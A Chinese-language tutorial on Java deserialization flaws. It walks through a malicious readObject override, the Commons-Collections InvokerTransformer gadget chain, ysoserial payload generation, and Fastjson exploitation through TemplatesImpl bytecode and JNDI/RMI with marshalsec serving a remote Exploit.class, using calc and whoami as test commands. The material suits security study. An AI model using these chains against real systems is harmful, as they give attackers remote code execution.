fastjson jar包_IDEA动态调试(二)——反序列化漏洞(Fastjson)

一、反序列化的原理及特点

1、什么是反序列化

  序列化就是把java类转换成字节流，xml数据、json格式数据等；

  反序列化就是把字节流，xml数据、json格式数据转换回java类。

2、反序列化漏洞的成因

  成因：在把其他格式的数据反序列化成java类的过程中，由于输入可控，导致可以执行其他恶意命令，但追根究底是需要被反序列化的类中重写了readObject方法，且被重写的readObject方法/调用链中被插入了恶意命令。

3、理解漏洞成因

 拿java的原生反序列化方法举例：

1)  正常的反序列化过程

  先序列化，将对象obj序列化，保存序列化后的字节流数据到目录下，然后通过readobject反序列化成对象，通过打印发现反序列化后对象为Step1.deserTest2：

2) 恶意的反序列化过程

对比一下代码，新增了对于readobject方法的重写代码：

private void readObject(java.io.ObjectInputStream in) throwsIOException,ClassNotFoundException{       in.defaultReadObject();//调用原始的readOject方法       Runtime.getRuntime().exec("calc.exe");       System.out.println("test");    }

我们在反序列化处下一个断点，注意看调用栈，发现在调用readobject时，不是跳转到原生的readobject而是我们重写的readobject方法，这也是java的一个机制，当同一个方法被重写时会优先调用被重写的代码。

4、总结

  上述案例可说明白反序列的原理，但问题是一般开发不会把Runtime.getRuntime().exec这样的恶意命令执行代码写在反序列化方法里，但是我们可以找一条“反射链”来插入执行恶意命令代码，对于反序列化漏洞的挖掘的过程也就是结合Java的反射机制构造利用链，即readobject()——getRuntime().exec的过程。

二、三方件安全

1、Commons-collections

  举例讲解三方件的利用链挖掘过程。

1)  首先模拟一个业务场景，对某个用户可控的文件hello.bin进行反序列化处理，调用的是原生的readObject方法。

  由于代码引入了Commons-collections包，所以我们的目的就是构造出合适的hello.bin文件内容，让其经过Commons-collections整个代码处理后达到执行命令的效果：

2)  创建一个重写类，对readObject进行重写，这里setValue是触发点，下断点跟进去可以了解漏洞原理：

3)  重点在于ApacheCommons Collections中有一个特殊的接口，其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer：

   transform方法利用Java的反射机制进行函数调用，传入的参数是input是一个实例化对象，利用这个方法便可以调用任意对象的任意方法(exec)从而执行命令，所以在DeSertPoc类里新建Transformer，最后组成的核心表达式为:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("whoami");

4)  继续跟进， ChainedTransformer类会对每一个Transformer循环调用InvokerTransformer的transform方法进行反射，可以看到这里对我们新建的Runtime成功进行了反射：

5)  最终被ChainedTransformer触发成功执行命令：

2、总结

  上述DeSertPoc等代码其实是为了分析Commons-collections反序列化的漏洞原理，实际的测试过程中，如果：

1)发现代码中被反序列化的文件可控；

2)且代码中引用了Commons-collections包。

  便可以使用其作为工具进行攻击，大多数的第三包的漏洞原理和利用办法都是类似的。

如这里的hello.bin可以直接使用ysoserial生成payload进行攻击，和我们自写Poc代码的效果是一样的：

java -jar ysoserial-master-30099844c6-1.jar  CommonsCollections1 calc.exe >hello.ser

三、Fastjson

1、什么是Fastjson

    Fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将JavaBean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。FastJson自己实现了一套反序列化的机制，并没有使用默认的readObject()，在序列化反序列化的时候会进行一些操作，主要是setter和getter的操作，同样结合一些类的特性造成命令执行。各版本下载地址：

https://repo1.maven.org/maven2/com/alibaba/fastjson/ 

2、Fastjson的使用

  研究库的漏洞首先要了解其用法：

1)  序列化方法为JSON.toJSONString，功能是将java代码的字符串转换成json数据，注意如果使用了SerializerFeature.WriteClassName 会多出来了一个 "@type"属性；

2)  反序列化方法为JSON.parse和JSON.parseObject，且包含@type 属性的会被反序列化回Person 类型的对象，没有则会被反序列化成JSONObject 对象。由此可知 @type 是用于在解析 JSON 时指定类的。

3)  JSON.parseObject 和 JSON.parse ，最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象，当在没有对应类的定义的情况下，通常情况下都会使用 JSON.parseObject 来获取数据。

3、反序列化复现

 常见的Poc有两种：TemplateImpl和JNDI方法：

1)基于TemplateImpl

基于TemplateImpl的方法可以直接执行bytecodes。模拟一个漏洞场景：进入parseObject方法的text1参数是用户可控的，为了方便这里直接写入：

  则可写一个包含恶意命令的Test.java ，将其编译后的字节码转成 Base64拼接到JSON 字符串中：

  最后则使用Poc中的 JSON.parseObject 方法将bytecodes解析成 Java 对象，从而执行命令。

2、JNDI

上面的场景很少见，开发很少用到JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)的方式来进行反序列化，更主流的方法是使用JNDI结合ldap或rmi服务进行远程调用。JNDI即Java Namingand Directory Interface，翻译成中文就Java命令和目录接口，在2016年的blackhat大会上web议题重点讲到，细节可查看原文学习seebug上的一篇介绍文章。

1)同上，我们使用一个模拟环境，这里payload为用户输入，经过JSON.parse进行反序列化处理，输入处调用JdbcRowSetImpl这个类，并连接RMI服务器，默认端口1099：

3)  然后使用神器marshalsec-0.0.3-SNAPSHOT-all.jar新建一个RMI服务器进行监听：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit

当然也可以自写：

  意为前端解析json成功后访问的rmi服务器会重定向到web服务器127.0.0.1下。

4)  最后再开启一个HTTP服务，在根目录放一个包含恶意命令Exploit.class文件编译的class文件：

5)最后在执行第一步的Poc类实现json解析，JdbcRowSetImpl类里的setAutoCommit会调用this.connect()，在connect()里通过rmi服务加载远程的方法执行：

  具体的跟踪链可以在payload输入处下断点跟踪，最终调用链如下：test_autoTypeDeny——parseObject——exec，其他反序列化漏洞也类似如此：

exec:347, Runtime (java.lang)<init>:13, Test (com.l1nk3r.fastjson)newInstance0:-1,NativeConstructorAccessorImpl (sun.reflect)newInstance:62,NativeConstructorAccessorImpl (sun.reflect)newInstance:45,DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor(java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl(sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl(sun.reflect)invoke:498, Method (java.lang.reflect)setValue:80, FieldDeserializer(com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer(com.alibaba.fastjson.parser.deserializer)parseField:722, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:568, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:187, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)deserialze:183, JavaBeanDeserializer(com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser(com.alibaba.fastjson.parser)parse:1327, DefaultJSONParser(com.alibaba.fastjson.parser)deserialze:45, JavaObjectDeserializer(com.alibaba.fastjson.parser.deserializer)parseObject:639, DefaultJSONParser(com.alibaba.fastjson.parser)parseObject:339, JSON(com.alibaba.fastjson)parseObject:302, JSON(com.alibaba.fastjson)test_autoTypeDeny:44, Poc(com.l1nk3r.fastjson)main:50, Poc (com.l1nk3r.fastjson)

4、总结

1)测试

 测试过程中需要关注两点：

A、关注测试的系统代码中。被反序列化操作的数据是否可控：

B、若可控，看系统是否使用了包含已知漏洞的第三方库：

  两个因素，一个是输入可控，一个是payload可构造，缺一不可。

就像Fastjson的官方补丁，使用的方案就是config.checkAutoType(typeName)和黑名单列表：

beanutils,commons.collections,rmi等 

2)漏洞挖掘角度

 若是从事第三方件的反序列化0day挖掘工作，则需要对库源码进行分析，定位到反序列化方法，对其调用链进行分析，寻找可反射、可插入恶意代码的gadget。